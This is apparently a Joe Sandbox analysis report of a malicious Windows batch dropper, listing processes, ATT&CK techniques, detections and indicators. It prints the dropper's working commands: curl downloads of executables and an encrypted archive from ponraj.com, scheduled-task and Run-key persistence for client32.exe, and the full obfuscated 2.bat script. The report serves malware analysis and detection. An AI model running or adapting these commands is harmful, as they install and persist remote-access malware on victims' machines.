Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Windows\System32\curl.exe

File created: C:\ProgramData\7zz.exe

Jump to dropped file

Source: C:\Windows\System32\curl.exe

File created: C:\ProgramData\7zz.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run KAVAS			Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run KAVAS			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\ProgramData\7zz.exe

API coverage: 5.6 %

Source: C:\ProgramData\7zz.exe

Code function: 11_2_0040C5F4 GetSystemInfo,

11_2_0040C5F4

Source: C:\ProgramData\7zz.exe

Code function: 11_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,

11_2_0040B174

Source: curl.exe, 00000003.00000003.347177585.000001F737560000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000002.347276671.000001F737563000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.350059924.000001F62E820000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.350220348.000001F62E823000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: curl.exe, 00000007.00000003.352191710.0000027DEA571000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllNN

Source: C:\ProgramData\7zz.exe

Code function: 11_2_00471C24 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00471C24

Source: C:\ProgramData\7zz.exe	Code function: 11_2_0046E6AA SetUnhandledExceptionFilter,		11_2_0046E6AA
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0046E6BC SetUnhandledExceptionFilter,		11_2_0046E6BC

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z" -o "C:\ProgramData\tempy.7z"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y lol.7z C:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y lol.7z C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\ProgramData\7zz.exe

Code function: 11_2_0046CF4C EntryPoint,GetVersion,GetCommandLineA,

11_2_0046CF4C

Source: C:\ProgramData\7zz.exe

Code function: 11_2_0040C756 GetSystemTime,SystemTimeToFileTime,

11_2_0040C756

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	1 Modify Registry	1 Input Capture	1 System Time Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	11 Process Injection	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	11 Scripting	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Native API	Logon Script (Mac)	Logon Script (Mac)	11 Scripting	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	14 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat	8%	ReversingLabs	Text.Trojan.Generic
VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat	25%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\7zz.exe	0%	ReversingLabs

Domains

Source	Detection	Scanner	Label	Link
ponraj.com	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z-oC:	100%	Avira URL Cloud	malware
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	14%	Virustotal		Browse
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z	14%	Virustotal		Browse
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat	12%	Virustotal		Browse
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-oC:	100%	Avira URL Cloud	malware
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z	100%	Avira URL Cloud	malware
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	100%	Avira URL Cloud	malware
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat-oC:	100%	Avira URL Cloud	malware
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ponraj.com	188.127.225.160	true	false	10%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z	true	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	true	14%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z-oC:	curl.exe, 00000003.00000002.347263567.000001F737550000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat-oC:	curl.exe, 00000007.00000002.352429537.0000027DEA560000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-oC:	curl.exe, 00000005.00000002.350188513.000001F62E810000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.127.225.160	ponraj.com	Russian Federation		56694	DHUBRU	false

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1275249
Start date and time:	2023-07-18 17:26:09 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat
Detection:	MAL
Classification:	mal84.winBAT@54/15@3/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 46.9% (good quality ratio 45.5%) Quality average: 85.4% Quality standard deviation: 23.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 18 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.

Simulations

Behavior and APIs

Time	Type	Description
17:27:16	Task Scheduler	Run new task: KAVAQQQ path: cmd.exe s>/c C:\ProgramData\client32.exe
17:27:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run KAVAS C:\ProgramData\client32.exe
17:27:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run KAVAS C:\ProgramData\client32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
188.127.225.160	2_1.bat	Get hash	malicious	Unknown	Browse
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse
	2.bat	Get hash	malicious	Unknown	Browse
	sett.bat	Get hash	malicious	Unknown	Browse
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse
	niqS1law5h.js	Get hash	malicious	Unknown	Browse
	niqS1law5h.js	Get hash	malicious	Unknown	Browse
	iGlTkXaLWeKxfXgiFdNuxOaOgbdWVaOw.bat	Get hash	malicious	Unknown	Browse
	Browser_update.js	Get hash	malicious	Unknown	Browse
	Browser_portable_version.js	Get hash	malicious	Unknown	Browse
	Browser_update.js	Get hash	malicious	Unknown	Browse
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ponraj.com	2_1.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	iGlTkXaLWeKxfXgiFdNuxOaOgbdWVaOw.bat	Get hash	malicious	Unknown	Browse	188.127.225.160

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DHUBRU	2_1.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	KjMLNNlbSwRjEriciGnpqBNGGsSj.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	2023-07-12-Gozi.dll	Get hash	malicious	Ursnif, Strela Stealer	Browse	91.199.147.95
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.227.91
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.227.91
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.227.91
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.227.91
	iGlTkXaLWeKxfXgiFdNuxOaOgbdWVaOw.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	Browser_update.js	Get hash	malicious	Unknown	Browse	188.127.225.232
	Browser_portable_version.js	Get hash	malicious	Unknown	Browse	188.127.225.232
	Browser_update.js	Get hash	malicious	Unknown	Browse	188.127.225.232
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse	188.127.225.160

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Halkbank_Ekstre_20230718_080954_114612.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	Sat#U0131nalma_sipari#U015fi_ve_#U015firket_profili.exe	Get hash	malicious	AgentTesla, NSISDropper	Browse	188.127.225.160
	2_1.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	KGFGayBH4i.exe	Get hash	malicious	Customer Loader	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	CMATGTWOiC.exe	Get hash	malicious	Customer Loader	Browse	188.127.225.160
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	23qzm5A7rc.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	lboRWAQs98.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	ukXq7dzEOI.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	9q70lA1xYB.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	i04Fj99YfC.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	UfSrk8LZGT.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	xECZWKhLwO.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	ORDER.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	188.127.225.160
	QUOTATION_JUL7FIBA00541#U00b7PDF.scr.exe	Get hash	malicious	Customer Loader	Browse	188.127.225.160
	-CAB_swift_1148590_Html.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\7zz.exe	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse
	niqS1law5h.js	Get hash	malicious	Unknown	Browse
	niqS1law5h.js	Get hash	malicious	Unknown	Browse
	iGlTkXaLWeKxfXgiFdNuxOaOgbdWVaOw.bat	Get hash	malicious	Unknown	Browse
	Browser_update.js	Get hash	malicious	Unknown	Browse
	Browser_portable_version.js	Get hash	malicious	Unknown	Browse
	Browser_update.js	Get hash	malicious	Unknown	Browse
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse
	i7gVJvg3pD.js	Get hash	malicious	Unknown	Browse
	InstallationAssistant.exe	Get hash	malicious	Unknown	Browse
	11.bat	Get hash	malicious	Unknown	Browse
	Chrome_update.js	Get hash	malicious	Unknown	Browse
	Chrome_update.js	Get hash	malicious	Unknown	Browse
	UpdateInstaller.js	Get hash	malicious	Unknown	Browse
	InstallationAssistant (1).exe	Get hash	malicious	Unknown	Browse
	UpdateInstaller.js	Get hash	malicious	Unknown	Browse
	UpdateInstaller.js	Get hash	malicious	Unknown	Browse
	UpdateInstaller.js	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\2.bat

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	DOS batch file, ASCII text, with very long lines (400), with CRLF line terminators
Category:	modified
Size (bytes):	787
Entropy (8bit):	5.371007510785802
Encrypted:	false
SSDEEP:	12:jhXhp+faQFFuP28IFPVa4WSSHVjW2Vj0SaRtfcBidEWSDcEVLh:php41aYSlVURtfcBIEDvLh
MD5:	4922DDBA83391B92EF1081381A8E1433
SHA1:	77A57DD484737C1D6C7218EE2CD7B84ADBA0FEAE
SHA-256:	B474DC9562308D4419D93BC14E8E942290A44036CBCB9477E5ABBB77992CE954
SHA-512:	45BD6164BC63F345A8900B5DA65FCD709A9A1DBE912E2A11F479527C6F4842BF6509A027C4E3E897E7CA231F93C0F100A9EBC826619D92E4BEC92DA458F9E9CC
Malicious:	false
Preview:	@echo off....:: 3Z6f6fs6fssb..:: 3Z6fs6fsb....set "fdaa=set "..%fdaa%"cvbfggdfg=C:\Prog"..%fdaa%"iuiuiuiui=ramD"..%fdaa%"jhggfg=ata\"......start /b /min xcopy /h /y 7zz.exe C:\ProgramData\ && start /b /min xcopy /h /y lol.7z C:\ProgramData\ && start /b /min cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\ && TIMEOUT /T 3 && start /b /min SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00 && start /b /min cmd /c C:\ProgramData\client32.exe....set KAVAQ=HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run..reg query "%KAVAQ%" >nul 2>&1.. if %errorlevel% equ 0 (.. reg add "%KAVAQ%" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f .. ).. ..:: 2Z6f33sd6fsfsRb..:: 1Z6f6fsssRb

C:\ProgramData\7z.bat

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	245
Entropy (8bit):	5.414890964058499
Encrypted:	false
SSDEEP:	6:CxBR2e0i23fDfFlIw8UlLAHbKx4/mWB1e0i23fmvn:cnGZrfF0C0veIZ+v
MD5:	BB706426B07E9DD3D63883861B50ACC2
SHA1:	2CEA2E74473C73AF0BE8BD9A95DBB1B4AFDC70C0
SHA-256:	0958163693E5887F16D0B0E8002573D331CFAA05295BDE5E9EA4DE5647DD8E68
SHA-512:	F73C5E6E8DD7C019453D3E7C2715887EB47E45974AB0EC3AD58F916771CFC2F1BC1526D3C423DD75CB0BBEAACF5289A3042FBBF2D810B73246CD2CD08DADA324
Malicious:	false
Preview:	if not exist "C:\Users\user~1\AppData\Local\Temp/7z.exe" ( curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe" ) .."C:\Users\user~1\AppData\Local\Temp/7zz.exe"..

C:\ProgramData\7zz.exe

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	587776
Entropy (8bit):	6.439962628647099
Encrypted:	false
SSDEEP:	12288:myyKdVnyNhXCV4EkP7AIfzNXZ0b5NrnkcAqIV0A1caRI:mKvyNhXCV4E8BXAfrnkcAqU0A
MD5:	42BADC1D2F03A8B1E4875740D3D49336
SHA1:	CEE178DA1FB05F99AF7A3547093122893BD1EB46
SHA-256:	C136B1467D669A725478A6110EBAAAB3CB88A3D389DFA688E06173C066B76FCF
SHA-512:	6BC519A7368EE6BD8C8F69F2D634DD18799B4CA31FBC284D2580BA625F3A88B6A52D2BC17BEA0E75E63CA11C10356C47EE00C2C500294ABCB5141424FC5DC71C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: h60FUiSRcC.js, Detection: malicious, Browse Filename: h60FUiSRcC.js, Detection: malicious, Browse Filename: niqS1law5h.js, Detection: malicious, Browse Filename: niqS1law5h.js, Detection: malicious, Browse Filename: iGlTkXaLWeKxfXgiFdNuxOaOgbdWVaOw.bat, Detection: malicious, Browse Filename: Browser_update.js, Detection: malicious, Browse Filename: Browser_portable_version.js, Detection: malicious, Browse Filename: Browser_update.js, Detection: malicious, Browse Filename: 8bx1ECBJPP.js, Detection: malicious, Browse Filename: 8bx1ECBJPP.js, Detection: malicious, Browse Filename: i7gVJvg3pD.js, Detection: malicious, Browse Filename: InstallationAssistant.exe, Detection: malicious, Browse Filename: 11.bat, Detection: malicious, Browse Filename: Chrome_update.js, Detection: malicious, Browse Filename: Chrome_update.js, Detection: malicious, Browse Filename: UpdateInstaller.js, Detection: malicious, Browse Filename: InstallationAssistant (1).exe, Detection: malicious, Browse Filename: UpdateInstaller.js, Detection: malicious, Browse Filename: UpdateInstaller.js, Detection: malicious, Browse Filename: UpdateInstaller.js, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.rR9p..9p..9p..Bl..;p...l.. p...V..[p...xC.8p..9p...p...xA.>p...V...p..V....p..V...;p...v..8p..Rich9p..................PE..L....S.L............................L.............@.........................................................................\...P.......(...............................................................................P............................text............................... ..`.rdata..............................@..@.data............l..................@....sxdata.............................@....rsrc...(...........................@..@................................................................................................................................................................................................................................................................................................................

C:\ProgramData\sett.bat

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254
Entropy (8bit):	5.449323346999744
Encrypted:	false
SSDEEP:	6:CxBR2e0i23f99oRfFlIw8UlLAHbKx4qmJB1e0i23fyuvn:cnGZ3QfF0C0vqmJfZagn
MD5:	688B1C8E42EDF00323F926B6663B07DF
SHA1:	AF719638BAE1A56F49BFC2D2FF8CC5440D6C4ECC
SHA-256:	2F24B3E3705020C02048139F2653C0237B404C8C29564DC914B02AC2780ACEA4
SHA-512:	C2418348E95E54A87342F56FDE756CB9F6BF65ED9F0A35ACE90FFC3F5380C84F9E49B397B66354D2622BA1D767E9DEC4678776DCEA04AFE3DEF1EE15F5D3C87D
Malicious:	false
Preview:	if not exist "C:\Users\user~1\AppData\Local\Temp/document.jpg" ( curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z" -o "C:\ProgramData\tempy.7z" ) .."C:\Users\user~1\AppData\Local\Temp/tempy.7z"..

C:\ProgramData\tempy.7z

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	7-zip archive data, version 0.4
Category:	modified
Size (bytes):	2536757
Entropy (8bit):	7.999923914071626
Encrypted:	true
SSDEEP:	49152:wmcTL9ozke7HIgwYSo3tyYr4Z9wN9JXd4DniMR55rdqTucO4k6U+iE:w7XlezH2o9N94DniyrdMuKTU+iE
MD5:	1640E31A07AD8F4FD8EFD2BEBE798706
SHA1:	C1A63EB1F5F998E76C191C242662EB7ECC32355D
SHA-256:	82DDE80DA7EBDD366C89C12F3C90F8EB0453D92B10B35E8E88361B5DEFCA5DB4
SHA-512:	E2429C788E3E945E37B0CA29A78DC83C46F5B878A9B2249269921F3F9318A15AF1ACAF062C9B92B8B383BE167F430E21FF562F0D844E177846FFD8EA954AB829
Malicious:	false
